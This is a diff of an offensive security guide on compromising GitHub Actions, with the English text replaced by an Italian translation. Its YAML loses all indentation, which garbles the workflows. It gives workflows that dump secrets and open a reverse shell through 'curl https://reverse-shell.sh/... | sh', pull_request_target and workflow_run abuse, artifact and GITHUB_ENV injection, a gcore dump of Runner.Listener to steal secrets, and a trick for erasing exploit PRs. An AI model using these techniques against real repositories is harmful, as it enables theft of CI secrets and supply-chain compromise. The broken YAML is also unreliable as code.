-> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
+> Nota che in diverse occasioni potrai trovare **token utente github all'interno delle variabili d'ambiente di Github Actions o nei segreti**. Questi token possono darti più privilegi sul repository e sull'organizzazione.
-List secrets in Github Action output
-
+Elenca i segreti nell'output di Github Action
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Ottieni una reverse shell con segreti
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+È possibile controllare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle azioni:
-## Allowed Execution
+## Esecuzione Consentita
> [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> Questo sarebbe il modo più semplice per compromettere le azioni di Github, poiché questo caso suppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, o abbia **privilegi di scrittura su un repository**.
>
-> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> Se ti trovi in questo scenario, puoi semplicemente controllare le [tecniche di Post Exploitation](./#post-exploitation-techniques-from-inside-an-action).
-### Execution from Repo Creation
+### Esecuzione dalla Creazione del Repo
-In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
+Nel caso in cui i membri di un'organizzazione possano **creare nuovi repo** e tu possa eseguire azioni github, puoi **creare un nuovo repo e rubare i segreti impostati a livello di organizzazione**.
-### Execution from a New Branch
+### Esecuzione da un Nuovo Branch
-If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
-
-You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
+Se puoi **creare un nuovo branch in un repository che contiene già un'azione Github** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'azione dal nuovo branch**. In questo modo puoi **esfiltrare i segreti a livello di repository e organizzazione** (ma devi sapere come si chiamano).
+Puoi rendere l'azione modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **alcuni codici vengono caricati** (a seconda di quanto vuoi essere evidente):
```yaml
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - master
- push: # Run it when a push is made to a branch
- branches:
- - current_branch_name
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- master
+push: # Run it when a push is made to a branch
+branches:
+- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
-
---
-## Forked Execution
+## Esecuzione Forked
> [!NOTE]
-> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
+> Ci sono diversi trigger che potrebbero consentire a un attaccante di **eseguire un Github Action di un altro repository**. Se quelle azioni attivabili sono configurate in modo errato, un attaccante potrebbe essere in grado di comprometterle.
### `pull_request`
-The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
+Il trigger del workflow **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la **prima volta** che stai **collaborando**, alcuni **maintainer** dovranno **approvare** l'**esecuzione** del workflow:
> [!NOTE]
-> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+> Poiché la **limitazione predefinita** è per i **contributori alla prima esperienza**, potresti contribuire **correggendo un bug/errore valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi di `pull_request`**.
>
-> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.~~
-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Inoltre, per impostazione predefinita **prevenire i permessi di scrittura** e **l'accesso ai segreti** al repository target come menzionato nella [**documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> Con l'eccezione di `GITHUB_TOKEN`, **i segreti non vengono passati al runner** quando un workflow è attivato da un **repository forked**. Il **`GITHUB_TOKEN` ha permessi di sola lettura** nelle pull request **da repository forked**.
-An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
+Un attaccante potrebbe modificare la definizione del Github Action per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare segreti o sovrascrivere il repo a causa delle limitazioni menzionate.
> [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **Sì, se l'attaccante cambia nella PR l'azione github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repo di origine!**
-As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
+Poiché l'attaccante controlla anche il codice in esecuzione, anche se non ci sono segreti o permessi di scrittura sul `GITHUB_TOKEN`, un attaccante potrebbe ad esempio **caricare artefatti dannosi**.
### **`pull_request_target`**
-The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
+Il trigger del workflow **`pull_request_target`** ha **permessi di scrittura** al repository target e **accesso ai segreti** (e non richiede permesso).
-Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Nota che il trigger del workflow **`pull_request_target`** **viene eseguito nel contesto di base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per ulteriori informazioni su `pull_request_target` [**controlla la documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Inoltre, per ulteriori informazioni su questo specifico uso pericoloso controlla questo [**post del blog di github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
+Potrebbe sembrare che poiché il **workflow eseguito** è quello definito nella **base** e **non nella PR**, sia **sicuro** utilizzare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
-An this one will have **access to secrets**.
+E questo avrà **accesso ai segreti**.
### `workflow_run`
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
-
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
+Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) consente di eseguire un workflow da un altro quando è `completato`, `richiesto` o `in_corso`.
+In questo esempio, un workflow è configurato per essere eseguito dopo il completamento del separato workflow "Esegui Test":
```yaml
on:
- workflow_run:
- workflows: [Run Tests]
- types:
- - completed
+workflow_run:
+workflows: [Run Tests]
+types:
+- completed
```
+Inoltre, secondo la documentazione: Il flusso di lavoro avviato dall'evento `workflow_run` è in grado di **accedere ai segreti e scrivere token, anche se il flusso di lavoro precedente non lo era**.
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
-The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+Questo tipo di flusso di lavoro potrebbe essere attaccato se **dipende** da un **flusso di lavoro** che può essere **attivato** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel flusso di lavoro attivato da **`workflow_run`** che scarica il codice degli attaccanti: `${{ github.event.pull_request.head.sha }}`\
+Il secondo consiste nel **passare** un **artifact** dal codice **non attendibile** al flusso di lavoro **`workflow_run`** e utilizzare il contenuto di questo artifact in un modo che lo rende **vulnerabile a RCE**.
### `workflow_call`
TODO
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: Controlla se, quando eseguito da un pull_request, il codice utilizzato/scaricato è quello dell'origine o da PR forkato
-## Abusing Forked Execution
+## Abuso dell'Esecuzione Forkata
-We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
+Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un flusso di lavoro github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate:
-### Untrusted checkout execution
+### Esecuzione di checkout non attendibile
-In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
+Nel caso di **`pull_request`,** il flusso di lavoro verrà eseguito nel **contesto del PR** (quindi eseguirà il **codice malevolo del PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](./#pull_request).
-In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+Nel caso di un flusso di lavoro che utilizza **`pull_request_target` o `workflow_run`** che dipende da un flusso di lavoro che può essere attivato da **`pull_request_target` o `pull_request`**, il codice del repository originale verrà eseguito, quindi l'**attaccante non può controllare il codice eseguito**.
> [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> Tuttavia, se l'**azione** ha un **checkout PR esplicito** che **prenderà il codice dal PR** (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice PR viene scaricato):
-
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+Il potenziale **codice non attendibile viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR.
> [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> Un dork di github per cercare azioni vulnerabili è: `event.pull_request pull_request_target extension:yml` tuttavia, ci sono diversi modi per configurare i lavori da eseguire in modo sicuro anche se l'azione è configurata in modo insicuro (come utilizzare condizioni su chi è l'attore che genera il PR).
-### Context Script Injections
+### Iniezioni di Script nel Contesto
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+Nota che ci sono certi [**contesti github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea il PR. Se l'azione github utilizza quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **esecuzione di codice arbitrario:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Script Injection**
+### **Iniezione di Script GITHUB_ENV**
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+Dalla documentazione: Puoi rendere una **variabile di ambiente disponibile per qualsiasi passaggio successivo** in un lavoro di flusso di lavoro definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente **`GITHUB_ENV`**.
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+Se un attaccante potesse **iniettare qualsiasi valore** all'interno di questa variabile **env**, potrebbe iniettare variabili di ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
-For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+Ad esempio ([**questo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**questo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un flusso di lavoro che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
-### Vulnerable Third Party Github Actions
+### Azioni Github di Terze Parti Vulnerabili
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+Come menzionato in [**questo post del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Azione Github consente di accedere ad artifact provenienti da diversi flussi di lavoro e persino repository.
-The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
-
-Example of vulnerable workflow:
+Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel flusso di lavoro. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusare di questo per compromettere altri flussi di lavoro che si fidano dell'Artifact.
+Esempio di flusso di lavoro vulnerabile:
```yaml
on:
- workflow_run:
- workflows: ["some workflow"]
- types:
- - completed
+workflow_run:
+workflows: ["some workflow"]
+types:
+- completed
jobs:
- success:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v2
- - name: download artifact
- uses: dawidd6/action-download-artifact
- with:
- workflow: ${{ github.event.workflow_run.workflow_id }}
- name: artifact
- - run: python ./script.py
- with:
- name: artifact
- path: ./script.py
+success:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@v2
+- name: download artifact
+uses: dawidd6/action-download-artifact
+with:
+workflow: ${{ github.event.workflow_run.workflow_id }}
+name: artifact
+- run: python ./script.py
+with:
+name: artifact
+path: ./script.py
```
-
-This could be attacked with this workflow:
-
+Questo potrebbe essere attaccato con questo flusso di lavoro:
```yaml
name: "some workflow"
on: pull_request
jobs:
- upload:
- runs-on: ubuntu-latest
- steps:
- - run: echo "print('exploited')" > ./script.py
- - uses actions/upload-artifact@v2
- with:
- name: artifact
- path: ./script.py
+upload:
+runs-on: ubuntu-latest
+steps:
+- run: echo "print('exploited')" > ./script.py
+- uses actions/upload-artifact@v2
+with:
+name: artifact
+path: ./script.py
```
-
---
-## Other External Access
+## Altra Accesso Esterno
-### Deleted Namespace Repo Hijacking
+### Hijacking di Namespace Repo Cancellati
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva **meno di 100 stelle prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository con lo stesso nome** di quello cancellato.
> [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+> Quindi, se un'azione sta utilizzando un repo da un account non esistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione.
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Se altri repository stavano utilizzando **dipendenze da questi repo utente**, un attaccante sarà in grado di hijackarli. Qui hai una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
+> In questa sezione parleremo di tecniche che permetterebbero di **pivotare da un repo a un altro** supponendo di avere qualche tipo di accesso al primo (controlla la sezione precedente).
### Cache Poisoning
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+Una cache è mantenuta tra **le esecuzioni del workflow nella stessa branch**. Ciò significa che se un attaccante **compromette** un **pacchetto** che viene poi memorizzato nella cache e **scaricato** ed eseguito da un **workflow più privilegiato**, sarà in grado di **compromettere** anche quel workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -386,7 +368,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+I workflow potrebbero utilizzare **artifact da altri workflow e persino repo**, se un attaccante riesce a **compromettere** l'azione Github che **carica un artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromettere gli altri workflow**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation from an Action
+## Post Exploitation da un'Azione
-### Accessing AWS and GCP via OIDC
+### Accesso a AWS e GCP tramite OIDC
-Check the following pages:
+Controlla le seguenti pagine:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Accessing secrets
+### Accesso ai segreti
-If you are injecting content into a script it's interesting to know how you can access secrets:
+Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti:
-- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- Se il segreto o il token è impostato su una **variabile d'ambiente**, può essere direttamente accessibile attraverso l'ambiente utilizzando **`printenv`**.
-List secrets in Github Action output
-
+Elenca i segreti nell'output dell'azione Github
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - '**'
- push: # Run it when a push is made to a branch
- branches:
- - '**'
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- '**'
+push: # Run it when a push is made to a branch
+branches:
+- '**'
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Ottieni una reverse shell con segreti
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- - ```bash
- cat /home/runner/work/_temp/*
- ```
-- For a JavaScript actions the secrets and sent through environment variables
- - ```bash
- ps axe | grep node
- ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- Se il segreto è utilizzato **direttamente in un'espressione**, lo script shell generato è memorizzato **su disco** ed è accessibile.
+- ```bash
+cat /home/runner/work/_temp/*
+```
+- Per le azioni JavaScript, i segreti vengono inviati tramite variabili d'ambiente.
+- ```bash
+ps axe | grep node
+```
+- Per un **azione personalizzata**, il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'**argomento**:
- ```yaml
- uses: fakeaction/publish@v3
- with:
- key: ${{ secrets.PUBLISH_KEY }}
- ```
+```yaml
+uses: fakeaction/publish@v3
+with:
+key: ${{ secrets.PUBLISH_KEY }}
+```
-### Abusing Self-hosted runners
+### Abusare dei runner self-hosted
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-Github** è cercare **`runs-on: self-hosted`** nella configurazione yaml dell'azione Github.
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
-
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+I runner **self-hosted** potrebbero avere accesso a **informazioni extra sensibili**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? servizio di metadata?) o, anche se è isolato e distrutto, **più di un'azione potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i segreti** dell'altra.
+Nei runner self-hosted è anche possibile ottenere i **segreti dal processo \_Runner.Listener**\_\*\* che conterrà tutti i segreti dei flussi di lavoro in qualsiasi fase dumpando la sua memoria:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
+Controlla [**questo post per ulteriori informazioni**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+### Registro delle Immagini Docker di Github
-### Github Docker Images Registry
-
-It's possible to make Github actions that will **build and store a Docker image inside Github**.\
-An example can be find in the following expandable:
+È possibile creare azioni di Github che **costruiranno e memorizzeranno un'immagine Docker all'interno di Github**.\
+Un esempio può essere trovato nel seguente espandibile:
Github Action Build & Push Docker Image
-
```yaml
[...]
- name: Set up Docker Buildx
- uses: docker/setup-buildx-action@v1
+uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
- uses: docker/login-action@v1
- with:
- registry: ghcr.io
- username: ${{ github.repository_owner }}
- password: ${{ secrets.ACTIONS_TOKEN }}
+uses: docker/login-action@v1
+with:
+registry: ghcr.io
+username: ${{ github.repository_owner }}
+password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
- run: |
- sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
+run: |
+sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
- uses: docker/build-push-action@v2
- with:
- context: .
- push: true
- tags: |
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
+uses: docker/build-push-action@v2
+with:
+context: .
+push: true
+tags: |
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
-
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
-
-A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
+Come puoi vedere nel codice precedente, il registro di Github è ospitato in **`ghcr.io`**.
+Un utente con permessi di lettura sul repo sarà quindi in grado di scaricare l'immagine Docker utilizzando un token di accesso personale:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Poi, l'utente potrebbe cercare **segreti trapelati nei livelli dell'immagine Docker:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
-### Sensitive info in Github Actions logs
+### Informazioni sensibili nei log di Github Actions
-Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Anche se **Github** cerca di **rilevare valori segreti** nei log delle azioni e **evitare di mostrarli**, **altri dati sensibili** che potrebbero essere stati generati nell'esecuzione dell'azione non saranno nascosti. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
-## Covering your Tracks
+## Coprire le tue tracce
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
